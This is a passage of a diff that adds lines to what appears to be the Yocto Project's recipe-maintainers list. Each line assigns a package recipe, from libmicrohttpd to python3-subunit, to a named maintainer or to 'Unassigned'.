+RECIPE_MAINTAINER:pn-libmicrohttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libmnl = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libmpc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libmodule-build-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libmodulemd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnewt = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libnl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnotify = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libnsl2 = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libnss-mdns = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnss-nis = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libogg = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libomxil = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpam = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpcap = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpciaccess = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-libpcre = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libpcre2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libpipeline = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-libpng = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libportal = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libproxy = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpthread-stubs = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libptytty = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libpsl = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-librepo = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-librsvg = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libstd-rs = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-libsamplerate0 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsdl2 = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libseccomp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsecret = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libsm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsndfile1 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsolv = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libsoup = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libsoup-2.4 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libssh2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libssp-nonshared = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libtasn1 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libtest-needs-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libtheora = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libtimedate-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libtirpc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libtool = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-libtool-cross = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-libtool-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-libucontext = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libunistring = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libunwind = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-liburcu = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-liburi-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libusb1 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libubootenv = "Stefano Babic <sbabic@denx.de>"
+RECIPE_MAINTAINER:pn-libuv = "Armin Kuster <akuster@mvista.com>"
+RECIPE_MAINTAINER:pn-libva = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libva-initial = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libva-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libvorbis = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-libwebp = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libwpe = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libx11 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxau = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcb = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcvt = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-libxcomposite = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcursor = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcrypt = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libxcrypt-compat = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libxdamage = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxdmcp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxext = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfixes = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfont = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfont2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxft = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxi = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxinerama = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxkbcommon = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxkbfile = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxml-namespacesupport-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libxml-parser-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libxml-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libxml-sax-base-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libxml-sax-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libxml-simple-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libxml2 = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libxmu = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxpm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxrandr = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxrender = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxres = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxscrnsaver = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxshmfence = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxslt = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libxt = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxtst = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxv = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxvmc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxxf86vm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libyaml = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-lighttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-dummy = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-firmware = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-linux-libc-headers = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-dev = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-rt = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-tiny = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-llvm = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-logrotate = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-log4cplus = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-lrzsz = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-lsb-release = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-lsof = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-ltp = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-lttng-modules = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lttng-tools = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lttng-ust = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lua = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-lz4 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzo = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzop = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-m4 = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-m4-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-make = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-makedepend = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-makedevs = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-make-mod-scripts = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-man-db = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-man-pages = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-matchbox-config-gtk = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-desktop = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-keyboard = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-panel-2 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-session = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-session-sato = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-terminal = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-theme-sato = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-wm = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mc = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mdadm = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-menu-cache = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mesa = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-mesa-demos = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-mesa-gl = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-meta-environment-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-environment-extsdk-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-extsdk-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-go-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-ide-support = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-world-pkgdata = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-mingetty = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-mini-x-session = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-minicom = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mkfontscale = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-mmc-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mobile-broadband-provider-info = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-modutils-initscripts = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-mpeg2dec = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-mpfr = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-mpg123 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-msmtp = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-mtd-utils = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-mtdev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mtools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-musl = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-musl-obstack = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-musl-utils = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-nasm = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-buildtools-perl-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-icecc-toolchain = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-nativesdk-libtool = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-nativesdk-packagegroup-sdk-host = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-nativesdk-qemu-helper = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-sdk-provides-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-newlib = "Alejandro Hernandez <aehs29@gmail.com>"
+RECIPE_MAINTAINER:pn-ncurses = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-neard = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-net-tools = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-netbase = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-nettle = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-nfs-export-root = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-nfs-utils = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-nghttp2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ninja = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-npth = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-nss-myhostname = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-numactl = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-ofono = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-opensbi = "Alistair Francis <alistair.francis@wdc.com>"
+RECIPE_MAINTAINER:pn-openssh = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-openssl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-opkg = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-arch-config = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-keyrings = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-utils = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
+RECIPE_MAINTAINER:pn-orc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-os-release = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-ovmf = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
+RECIPE_MAINTAINER:pn-ovmf-shell-image = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
+RECIPE_MAINTAINER:pn-p11-kit = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-package-index = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pango = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-parted = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-patch = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-patchelf = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-pbzip2 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-pciutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-pcmanfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-perf = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-perl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-perlcross = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-piglit = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pigz = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-pinentry = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-pixman = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-pkgconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pkgconfig = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pm-utils = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pointercal-xinput = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-pong-clock = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-popt = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-powertop = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ppp = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-ppp-dialin = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-prelink = "Mark Hatle <mark.hatle@kernel.crashing.org>"
+RECIPE_MAINTAINER:pn-procps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-pseudo = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-psmisc = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-psplash = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-ptest-runner = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pulseaudio = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-pulseaudio-client-conf-sato = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-puzzles = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-python3 = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-async = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-atomicwrites = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-attrs = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-cython = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-dbus = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-dbusmock = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-docutils = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-dtschema = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-dtschema-wrapper = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pycryptodome = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pycryptodomex = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pyrsistent = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-extras = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-git = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-gitdb = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-hypothesis = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-idna = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-importlib-metadata = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-iniconfig = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-iniparse = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-jinja2 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-python3-jsonpointer = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-jsonschema = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-libarchive-c = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-magic = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-mako = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-markdown = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-markupsafe = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-python3-more-itertools = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-nose = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-numpy = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-packaging = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-pathlib2 = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-pbr = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-pip = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-pluggy = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-py = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-pyyaml = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-pycairo = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-pyelftools = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pygments = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-pygobject = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-pyparsing = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-pytest = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3339-validator = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3986-validator = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3987 = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-ruamel-yaml = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-scons = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-scons-native = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-setuptools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-setuptools-scm = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-six = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-smartypants = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-smmap = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-sortedcontainers = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-strict-rfc3339 = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-subunit = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
